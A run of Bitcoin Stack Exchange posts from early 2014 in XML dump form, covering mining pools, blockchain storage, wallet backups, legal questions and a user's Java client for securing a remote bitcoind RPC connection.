  <row Id="21573" PostTypeId="1" AcceptedAnswerId="21583" CreationDate="2014-02-03T05:10:33.143" Score="2" ViewCount="910" Body="&lt;p&gt;For the transaction: &lt;a href=&quot;https://blockchain.info/tx/ee1658bb4d0de80a91d2e0005218d4cfab7c302a352458bd6afb6376b47fbf81&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/ee1658bb4d0de80a91d2e0005218d4cfab7c302a352458bd6afb6376b47fbf81&lt;/a&gt; it looks like there are multiple inputs with different values for the same address. I thought an address only has one value at any given time?&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="5406" LastEditDate="2020-05-09T18:07:48.080" LastActivityDate="2020-05-09T18:14:15.303" Title="How can this input address have multiple values at the same time?" Tags="|utxo|address-reuse|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21574" PostTypeId="2" ParentId="21569" CreationDate="2014-02-03T05:32:22.850" Score="-1" Body="&lt;p&gt;mine in a pool, solo mining you're not going to constantly be finding blocks so there are going to be moments with no payout. In a pool with a fair amount of miners there are more chances of finding blocks and more payouts.&lt;/p&gt;&#xA;" OwnerUserId="13035" LastActivityDate="2014-02-03T05:32:22.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21575" PostTypeId="1" AcceptedAnswerId="21578" CreationDate="2014-02-03T06:11:38.447" Score="3" ViewCount="6928" Body="&lt;p&gt;I understand that every transaction of bitcoin is stored in a &quot;block&quot; which is then added to the &quot;blockchain&quot;. I realize that this is data of some sort that must have a physical location. Where is that location(s)? Where is the data of the blockchain stored?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2017-12-29T17:47:21.043" Title="Where are the blocks in the blockchain stored?" Tags="|blockchain|block|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21576" PostTypeId="2" ParentId="21575" CreationDate="2014-02-03T06:25:21.127" Score="0" Body="&lt;p&gt;On Windows the blockchains and other files are stored by default in C:\Documents and Settings\yourusername\appdata\Bitcoin. You can change this directory by passing the argument -datadir=c:\newdirhere to your Bitcoin executable. For a more detailed information please see &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13032" LastActivityDate="2014-02-03T06:25:21.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21577" PostTypeId="2" ParentId="21569" CreationDate="2014-02-03T06:38:56.667" Score="4" Body="&lt;p&gt;When you mine solo (not in a pool) then your payout is entirely based on solving the current block in the blockchain before anyone else, and collecting the &quot;bounty&quot; on that block. In Bitcoin terms, the block bounty was 50 BTC at the start of the blockchain, and recently decreased to 25 BTC -- it will continue decreasing steadily until all BTC are mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is the decentralized ledger that makes up a cryptocurrency. An individual block confirms a set of transactions, as well as all of the blocks that came before it (hence block &lt;em&gt;chain&lt;/em&gt;). When you are mining, you are attempting to solve these blocks, confirming the transactions that took place within that timeframe, and collecting the bounty associated with the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The random and distributed nature of cryptocurrency means everyone is working on the same block at the same time, and the probability of you solving the block first and collecting the bounty is effectively equal to the percentage of the overall hash rate of the network that is being generated by your miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of pooled mining is that everyone in the pool contributes their hash rate to a common effort, so that their collective hash rate is able to compete on the scale of the entire network. A share is simply a way of splitting up and distributing this work to be done among the members of the pool. If you are part of a pool that solves a block, and you had 10 shares accepted out of the pool's 100, you would get 10% of the payout regardless of whether your equipment or someone else's in the pool solved the share that ended up being the block solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for solo mining, I can't really see how you'd need to be using shares unless you are pooling your own miners together as a clustering solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a single solo miner, it needs a full copy of the blockchain to hash against, it needs to be communicating with the rest of the network to update the blockchain copy whenever a new one is found and to inform the network when it solves a block, and then of course it needs the processing power and hardware to generate an effective hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multiple miners in parallel, you're on your own for figuring out the best way to have them work effectively for you.&lt;/p&gt;&#xA;" OwnerUserId="9625" LastActivityDate="2014-02-03T06:38:56.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21578" PostTypeId="2" ParentId="21575" CreationDate="2014-02-03T06:45:59.637" Score="5" Body="&lt;p&gt;Since it's unclear what context you are asking in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is stored, distributed, on every machine in the Bitcoin network being used to mine Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This network is self-regulating and peer-to-peer. There is majority rule, meaning that if one node on the network no longer agrees with the other nodes (on, say, what the hash of the last block was), it is kicked out of the network and will have to &quot;resync&quot; its data to be in agreement with the network.&lt;/p&gt;&#xA;" OwnerUserId="9625" LastActivityDate="2014-02-03T06:45:59.637" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21579" PostTypeId="2" ParentId="18612" CreationDate="2014-02-03T06:51:35.480" Score="1" Body="&lt;p&gt;Australian business called BitMiners - &lt;a href=&quot;http://www.bitminers.com.au&quot; rel=&quot;nofollow&quot;&gt;http://www.bitminers.com.au&lt;/a&gt; - Appear to be fairly established as they are a division of a larger company. cheapest and most &quot;credible&quot; i can find.&lt;/p&gt;&#xA;" OwnerUserId="13038" LastActivityDate="2014-02-03T06:51:35.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21580" PostTypeId="2" ParentId="21572" CreationDate="2014-02-03T07:21:01.207" Score="1" Body="&lt;p&gt;Hopefully you understand already that the coins themselves are in no way on your computer -- your wallet is just a key that lets you spend coins that are yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything you need to verify that you own those funds in question is available in the blockchain (and on your Coinbase account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply look at your Coinbase transaction where it says it sent BTC to your wallet address. Click advanced details if you want the actual bitcoin transaction information. Here you can verify that your wallet address was the recipient of the BTC you sent to it. You should be able to click on the link for that address to see the value being held on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're feeling paranoid and want to cross-check Coinbase's blockchain data, just head over to &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt; and do a search on either the transaction hash or your wallet's receiving address. You should see the exact same information that you found on Coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't help you figure out how to use Multibit, but needless to say, if you lose the private key stored in your wallet, then you will be permanently unable to access the funds at that wallet's address. I can offer only the following tips based on your question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make backups (duh).&lt;/li&gt;&#xA;&lt;li&gt;Mac OS X is closely related to UNIX (and Linux-style operating systems), where files and directories can be hidden by prefixing them with a dot. Similarly, the &lt;code&gt;~&lt;/code&gt; character is short for your home directory.&lt;/li&gt;&#xA;&lt;li&gt;You can view hidden files and folders easily by learning how to use Terminal (really, the &lt;code&gt;ls -a&lt;/code&gt;, &lt;code&gt;pwd&lt;/code&gt;, and &lt;code&gt;cd&lt;/code&gt; commands would be all you need at this point, and are safe to mess around with... but MAKE BACKUPS).&lt;/li&gt;&#xA;&lt;li&gt;You can view inside hidden directories using the finder by using the Go to Folder command (from the Go menu, or shortcut command-shift-g) and then typing the UNIX-style path of where you want to access. Note that you still won't be able to see any hidden files &lt;em&gt;within&lt;/em&gt; this directory.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;~/Library&lt;/code&gt; directory is not prefixed with a dot, but it is hidden by default on new Mac OS X systems. You can still get to it easily by using one of the methods listed above, or by opening the Go menu and then holding option, or if you want it to be visible permanently, navigate to your Home folder and hit command-J (or View menu -&gt; show view options), and then check the box for &quot;Show Library Folder&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9625" LastActivityDate="2014-02-03T07:21:01.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21581" PostTypeId="2" ParentId="18103" CreationDate="2014-02-03T07:30:06.297" Score="5" Body="&lt;p&gt;If the transaction fees from miners are not sufficient to maintain the security of the ledger, than the network will self-destruct.&#xA;But, with the cap being so-far away (who knows how many years) by then computing power should be sufficient to ensure the sanctity of the network with very very minimal costs (low power costs), it wouldn't surprise me if bitcoin takes off and becomes somewhat of a world reserve currency, that most &quot;smart homes&quot; or devices, in that time frame will be &quot;bitcoin enabled&quot;, and will donate small % of cpu cycles to maintain the network for the good of society.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about it, at that point who cares if mining is not profitable? when your fridge is...mining at the cost of 1$ USD a month (in todays money).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the computer power will come from small powerful low power usage devices that will cost pennies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decentralization, all the mining and such that is going now is just baby steps for bitcoin (or its replacement), the money flowing into bitcoin (disguised as &quot;profit&quot;) to miners is really just the world slowly building a monetary base to support the coin and development of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free-Market economics based on profit will evolve out of mine to profit into &quot;mine to mine for the sake of keeping your savings secure&quot;, just like how we let banks charge us absurd interest on loans for the sake of making the transactions somewhat secure and keeping the money system &quot;going&quot;....however in-efficient and draconian the current economic model is.... atleast it works ...sorta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;baby steps.&#xA;Bitcoin is star-trek level money, we need to reach global prosperity while minting the new monetary system into existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People worried about the &quot;end of bitcoin when it hits 21m&quot; are very near-sighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is based on my view and basic understanding of economics....&lt;/p&gt;&#xA;" OwnerUserId="13039" LastActivityDate="2014-02-03T07:30:06.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21582" PostTypeId="2" ParentId="12592" CreationDate="2014-02-03T07:34:06.443" Score="0" Body="&lt;p&gt;That's like asking &quot;what will banks do if no one spends money, no one takes out loans, and everyone shreds their credit cards&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;;p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume JPMorgan in that situation would shut its financial servers down to save electricity.&lt;/p&gt;&#xA;" OwnerUserId="13039" LastActivityDate="2014-02-03T07:34:06.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21583" PostTypeId="2" ParentId="21573" CreationDate="2014-02-03T08:10:01.507" Score="1" Body="&lt;p&gt;What's happening in this transaction is that the same address (1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty) is claiming different outputs. You can see which output it's claiming by clicking on the &quot;Output&quot; link available for each input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a common scenario where a person has their coins spread across several addresses.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-03T08:10:01.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21584" PostTypeId="2" ParentId="21568" CreationDate="2014-02-03T09:33:33.770" Score="1" Body="&lt;p&gt;As the document predates Bitcoin, it does not specifically address the Bitcoin network. While the document may apply according to the phrasing, I am not sure whether the Bitcoin network as such is a legal entity as it does not have any formal structure. I would assume that only participants in the Bitcoin network could be addressed by law, i.e. &quot;a company&quot;, &quot;an organization&quot; or &quot;a user&quot;, much like laws could be passed concerning &quot;anyone spending more than $100 in cash in one transaction&quot;, but not &quot;the group of people that get out of bed with their left foot first&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning participants in the Bitcoin network though, &lt;a href=&quot;http://www.coindesk.com/fincen-bitcoin-miners-investors-money-transmitters/&quot; rel=&quot;nofollow&quot;&gt;according to CoinDesk&lt;/a&gt; Bitcoin miners and investors are not money transmitters. Specifically, CoinDesk quotes there&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“The first ruling states that, to the extent a user creates or “mines” a convertible virtual currency solely for a user’s own purposes, the user is not a money transmitter under the BSA. The second states that a company purchasing and selling convertible virtual currency as an investment exclusively for the company’s benefit is not a money transmitter,” the release states.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, as far as I understand, regular users, miners, and investing companies neither have to register, nor implement the measures listed in the question, while I'd assume that online wallet services and Bitcoin exchanges have to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IANAL, this is not legal advise.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-03T09:42:47.263" LastActivityDate="2014-02-03T09:42:47.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21585" PostTypeId="2" ParentId="12592" CreationDate="2014-02-03T10:34:39.700" Score="4" Body="&lt;p&gt;There is virtually no &quot;empty blocks&quot;.  All blocks except the genesis block is actually headed by the hash of preceding block and then followed by the miners reward of the previous block in terms of the first transaction of the current block.  Therefore there should always be at least one transaction.&lt;/p&gt;&#xA;" OwnerUserId="13044" LastActivityDate="2014-02-03T10:34:39.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21586" PostTypeId="1" CreationDate="2014-02-03T10:36:27.807" Score="1" ViewCount="236" Body="&lt;p&gt;If I delete the Bitcoin wallet from my HD, my Bitcoins will be still alive inside the Bitcoin network, right?&#xA;Is there any way to remove my bitcoins from the network in a permanent way?&lt;/p&gt;&#xA;" OwnerUserId="13032" LastActivityDate="2014-02-03T13:00:32.537" Title="Is it possible to remove my bitcoins from the Bitcoin network?" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21587" PostTypeId="1" CreationDate="2014-02-03T10:44:02.717" Score="1" ViewCount="2982" Body="&lt;p&gt;How old does one need to be in order to mine or use Bitcoins? Do I need to be 18 years old, or just 13? Is it illegal if a child uses Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="13045" LastEditorUserId="5406" LastEditDate="2016-04-25T20:39:48.703" LastActivityDate="2016-04-25T20:39:48.703" Title="How old does one need to be in order to mine or use Bitcoins?" Tags="|legal|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-04T00:52:20.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="21588" PostTypeId="2" ParentId="21587" CreationDate="2014-02-03T10:45:56.253" Score="0" Body="&lt;p&gt;Anyone can use Bitcoins there is no age specification. It's good that you start with crypto currencies at early age so that you can make a handful of money while you turn 18 but don't get do indulge into cryptos so that you put all other things aside.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-03T10:45:56.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21589" PostTypeId="2" ParentId="21586" CreationDate="2014-02-03T10:50:27.827" Score="0" Body="&lt;p&gt;If you delete your wallet and have no other copies around, this means those bitcoins are gone forever because no one has the private keys to move them.&lt;/p&gt;&#xA;" OwnerUserId="13046" LastActivityDate="2014-02-03T10:50:27.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21590" PostTypeId="2" ParentId="21554" CreationDate="2014-02-03T10:55:55.117" Score="4" Body="&lt;p&gt;Delete the &quot;blocks&quot; and &quot;chainstate&quot; directories.&lt;/p&gt;&#xA;" OwnerUserId="13046" LastActivityDate="2014-02-03T10:55:55.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21591" PostTypeId="1" CreationDate="2014-02-03T10:57:21.770" Score="4" ViewCount="5315" Body="&lt;p&gt;I have the private key backup from my Android phone wallet. My phone broke and has been replaced but I can't see any import option in the Android wallet app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my BTC back?&lt;/p&gt;&#xA;" OwnerUserId="13047" LastEditorUserId="2306" LastEditDate="2015-03-13T14:43:33.817" LastActivityDate="2016-12-22T23:02:59.293" Title="What app should I use to import my wallet keys?" Tags="|android|wallet-import|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21592" PostTypeId="1" CreationDate="2014-02-03T11:25:12.873" Score="3" ViewCount="1563" Body="&lt;p&gt;I set up a bitcoind server on an Ubuntu server and I can remotely execute commands on the server. I am doing this with Java/RPC. To execute a command I need to provide a username and password. But I think that would not be enough security. That's why I am asking here. How can I make this connection really secure? First, I thought I could only allow requests from a specific IP, but that will not work because my app runs on Google's App Engine and therefore does not have a static IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to make this secure? Here is my code, if it is of interest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.io.IOException;&#xA;import java.util.Arrays;&#xA;import java.util.List;&#xA;import java.util.UUID;&#xA;&#xA;import org.apache.http.HttpEntity;&#xA;import org.apache.http.HttpResponse;&#xA;import org.apache.http.ParseException;&#xA;import org.apache.http.auth.AuthScope;&#xA;import org.apache.http.auth.UsernamePasswordCredentials;&#xA;import org.apache.http.client.ClientProtocolException;&#xA;import org.apache.http.client.methods.HttpPost;&#xA;import org.apache.http.entity.StringEntity;&#xA;import org.apache.http.impl.client.DefaultHttpClient;&#xA;import org.apache.http.util.EntityUtils;&#xA;import org.json.simple.JSONArray;&#xA;import org.json.simple.JSONObject;&#xA;import org.json.simple.parser.JSONParser;&#xA;&#xA;public class RPCClient {&#xA;&#xA;    private static final String COMMAND_GET_BALANCE = &quot;getbalance&quot;;&#xA;    private static final String COMMAND_GET_INFO = &quot;getinfo&quot;;&#xA;    private static final String COMMAND_GET_NEW_ADDRESS = &quot;getnewaddress&quot;;&#xA;&#xA;    private JSONObject invokeRPC(String id, String method, List&amp;lt;String&amp;gt; params) {&#xA;&#xA;//      CloseableHttpClient httpclient = HttpClientBuilder.create().build();&#xA;//      &#xA;//      httpclient.getCredentialsProvider();&#xA;        DefaultHttpClient httpclient = new DefaultHttpClient();&#xA;&#xA;        JSONObject json = new JSONObject();&#xA;        json.put(&quot;id&quot;, id);&#xA;        json.put(&quot;method&quot;, method);&#xA;        if (null != params) {&#xA;            JSONArray array = new JSONArray();&#xA;            array.addAll(params);&#xA;            json.put(&quot;params&quot;, params);&#xA;        }&#xA;        JSONObject responseJsonObj = null;&#xA;        try {&#xA;            httpclient.getCredentialsProvider().setCredentials(new AuthScope(&quot;55.233.188.139&quot;, 9332),&#xA;                    new UsernamePasswordCredentials(&quot;myUser&quot;, &quot;mySuperSecurePW&quot;));&#xA;            StringEntity myEntity = new StringEntity(json.toJSONString());&#xA;            System.out.println(json.toString());&#xA;            HttpPost httppost = new HttpPost(&quot;http://55.233.188.139:9332&quot;);&#xA;            httppost.setEntity(myEntity);&#xA;&#xA;            System.out.println(&quot;executing request&quot; + httppost.getRequestLine());&#xA;            HttpResponse response = httpclient.execute(httppost);&#xA;            HttpEntity entity = response.getEntity();&#xA;&#xA;            System.out.println(&quot;----------------------------------------&quot;);&#xA;            System.out.println(response.getStatusLine());&#xA;            if (entity != null) {&#xA;                System.out.println(&quot;Response content length: &quot; + entity.getContentLength());&#xA;                // System.out.println(EntityUtils.toString(entity));&#xA;            }&#xA;            JSONParser parser = new JSONParser();&#xA;            responseJsonObj = (JSONObject) parser.parse(EntityUtils.toString(entity));&#xA;        } catch (ClientProtocolException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (IOException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (ParseException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } catch (org.json.simple.parser.ParseException e) {&#xA;            // TODO Auto-generated catch block&#xA;            e.printStackTrace();&#xA;        } finally {&#xA;            // When HttpClient instance is no longer needed,&#xA;            // shut down the connection manager to ensure&#xA;            // immediate deallocation of all system resources&#xA;            httpclient.getConnectionManager().shutdown();&#xA;        }&#xA;        return responseJsonObj;&#xA;    }&#xA;&#xA;    public Double getBalance(String account) {&#xA;        String[] params = { account };&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_BALANCE, Arrays.asList(params));&#xA;        return (Double)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public String getNewAddress(String account) {&#xA;        String[] params = { account };&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_NEW_ADDRESS, Arrays.asList(params));&#xA;        return (String)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public JSONObject getInfo() {&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), COMMAND_GET_INFO, null);&#xA;        return (JSONObject)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public JSONObject getInfo(String command) {&#xA;        JSONObject json = invokeRPC(UUID.randomUUID().toString(), command, null);&#xA;        return (JSONObject)json.get(&quot;result&quot;);&#xA;    }&#xA;&#xA;    public static void main(String[] args) {&#xA;        System.out.println(new RPCClient().getInfo());      &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12216" LastEditorUserId="24573" LastEditDate="2016-07-18T21:29:40.900" LastActivityDate="2019-04-11T01:38:21.653" Title="Make remote RPC connection to bitcoind server secure" Tags="|bitcoind|security|api|json-rpc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21593" PostTypeId="2" ParentId="21586" CreationDate="2014-02-03T13:00:32.537" Score="1" Body="&lt;p&gt;If you don't use them, nobody will be able to use them, so in a sense they will have disappeared. If you wish for them to be publicly, permanently destroyed, you could try one of the approaches at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3777/what-is-the-bitcoin-equivalent-of-dev-null&quot;&gt;What is the Bitcoin equivalent of /dev/null?&lt;/a&gt;, such as sending them to the address 1111111111111111111114oLvT2, which is the address of an all-zeroes hash. There are technically many private/public keys that correspond to the address, but finding one is practically impossible.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-03T13:00:32.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21594" PostTypeId="2" ParentId="11367" CreationDate="2014-02-03T13:16:31.350" Score="1" Body="&lt;p&gt;As of version 0.9 (not yet released, but a release candidate exists), you'll be able to choose the data location on first startup.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-03T13:16:31.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21597" PostTypeId="2" ParentId="21592" CreationDate="2014-02-03T13:32:51.830" Score="2" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I just noticed your question asks for App Engine specific solution. This solution only applies if you have 100% control over the Linux server running your code, so this does not work on App Engine (or I have no idea does it nowadays have capability of tunnel building). In any case I recommend you to move your code to a virtual server from the app engine to have more control over your stack, as you might hit App Engine limitations quite fast if polling bitcoind for transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build a TCP/IP tunnel through SSH from the computer running your code to the server running &lt;code&gt;bitcoind&lt;/code&gt;.                            &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One easy way to build such a tunnel which restarts itself on disconnect is &lt;a href=&quot;http://www.harding.motd.ca/autossh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AutoSSH&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one AutoSSH example script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ubuntugeek.com/automatically-restart-ssh-sessions-and-tunnels-using-autossh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ubuntugeek.com/automatically-restart-ssh-sessions-and-tunnels-using-autossh.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="90305" LastEditDate="2019-04-11T01:38:21.653" LastActivityDate="2019-04-11T01:38:21.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21598" PostTypeId="1" AcceptedAnswerId="21627" CreationDate="2014-02-03T13:49:44.420" Score="2" ViewCount="1510" Body="&lt;p&gt;Is this even possible.  I have been mining for about a month now, steadily building up my machines.  When the big daddy from BFL comes (and the 230 is fixed) I will be mining at 1.2 THS.  I have never gone more than 24 hours and gotten NOTHING and was wondering if anyone else has had this happen with this kind of power.  I am in three pools now, no user names.  Have been getting paid regularly all along.  SHould I change to a different pool? consolidate and only use one pool? if so what is the best pool at this point in time for payouts?&lt;/p&gt;&#xA;" OwnerUserId="13049" LastEditorUserId="5406" LastEditDate="2016-04-24T09:10:45.713" LastActivityDate="2016-04-24T09:10:45.713" Title="Mining with BFL at 440 GHS over 24 Hours and no bitcoin?" Tags="|mining-pools|mining-profitability|pool-payout-methods|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21599" PostTypeId="2" ParentId="13796" CreationDate="2014-02-03T13:52:48.893" Score="5" Body="&lt;p&gt;There's a reason cryptographic hash functions, like the double SHA256 used for proof-of-work in Bitcoin, are not usually described using these complexity classes that classify asymptotic behavior. In fact, there are several.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A technical reason is that hash functions often do not scale. For example, it is not defined how one would extend the proof-of-work to operate on 512 bits. A natural choice would be to use SHA512 then, but going from SHA256 to SHA512 takes alot of essentially arbitrary choices, like changing the number of rounds from 64 to 80, which are standardized but not in a naturally scaling way and not for arbitrarily large hash sizes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is not relevant for the cryptographer. Even a NP-complete hash function, which would be the strongest amongst the complexity cases you listed for building a strong hash, does not guarantee all what we want from either a cryptographic hash or a proof-of-work function. To qualify for NP-completeness is merely a strong heuristic that the problem cannot be solved by an algorithm that is, asymptotically, less than exponential. But for a good hash function we want it to be, at the very limited bitcount we choose to use it at, maximally exponential in the sense that solving it is really as hard as trying every possibility in a hash function. For its corresponding proof-of-work function with such a difficulty that only a fraction x of the output range is acceptable, this would mean that we should expect to require a number of attempts of x/2 times the size of full output range to find a proof-of-work. Anything better than that would prompt an academic to call the associated hash function broken, even if it merely reduces the number of tries in half, which would still put it in an exponential complexity class and would easily be possible even with a NP-complete function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An impressive (but only superficially related) example of how picking something seemingly NP-complete is insufficient to get something cryptographically hard is knapsack cryptography. Of course, there the problem was that by picking special cases the complexity of the problem was reduced. The point is that even a NP-complete problem can be less difficult than indeed having to try every solution, despite it sometimes being described that way! For cryptography-grade quality, having to try every input is meant literally; for the complexity analysis, it is good enough if the asymptotic scaling remains exponential in the number of bits. So if you could reduce the problem to another NP-complete function taking only every 1000th bit as input, that would be good enough for classifying the problem as NP (and even NP-complete if a similar mapping worked in reverse), but not for being of interest for cryptographic applications.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's difficult! And I think this difficulty has already let you astray: Even your arguments for placing this problem in TFNP are, whilst really close to the truth, not true in the mathematical sense. For example, if I specify x=0, no y can produce hash(y) &amp;lt; x, contradicting your assertion. If all other x are fine or if there is a required minimum value for x probably depends on how you define the &quot;strings&quot; y you want hashcash to operate on. For Bitcoin with a limited number of bits entering the double-SHA256, I wouldn't be surprised if x=1 also does not have a solution, i.e. if no block hash can become exactly zero. Of course we'll probably never know. In practice, it is desirable that a hash function should produce total proof-of-work functions in the way you describe, but I don't think it is a proven quality. Disclaimer: I honestly don't know. You really should ask a cryptographer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What remains to be done to answer your question, after finding how the hash function scales and verifying that it remains polynomial for arbitrary large sizes, is just this proof that the corresponding proof-of-work function is total. If this proof can be done using the pigeon hole principle, you have shown that it is in PPP, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where is the difficulty? For example, if y has at least as many bits as x, and if we change your hashcash to have a less-than-or-equal rather just less-than, &lt;em&gt;and if we are willing to multilate it further&lt;/em&gt; to the point that either finding a proof-of-work or the existence of a hash collision is good enough to make &quot;hashcash&quot; true, then the pigeon-hole principle as explained in the wikipedia article you linked to would obviously apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anything less than that, as best as I can see, would not suffice to apply the pigeon-hole principle and hence would not answer the question if hashcash is in PPP or not. To again refer to your linked wikipedia article: Only for very few problems the answer is know, even for PPP. For the special cases of PPP, PPA and PPAD, it obviously gets even harder. If you find a solution, post it to an academic journal, not just here!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-02-03T13:52:48.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
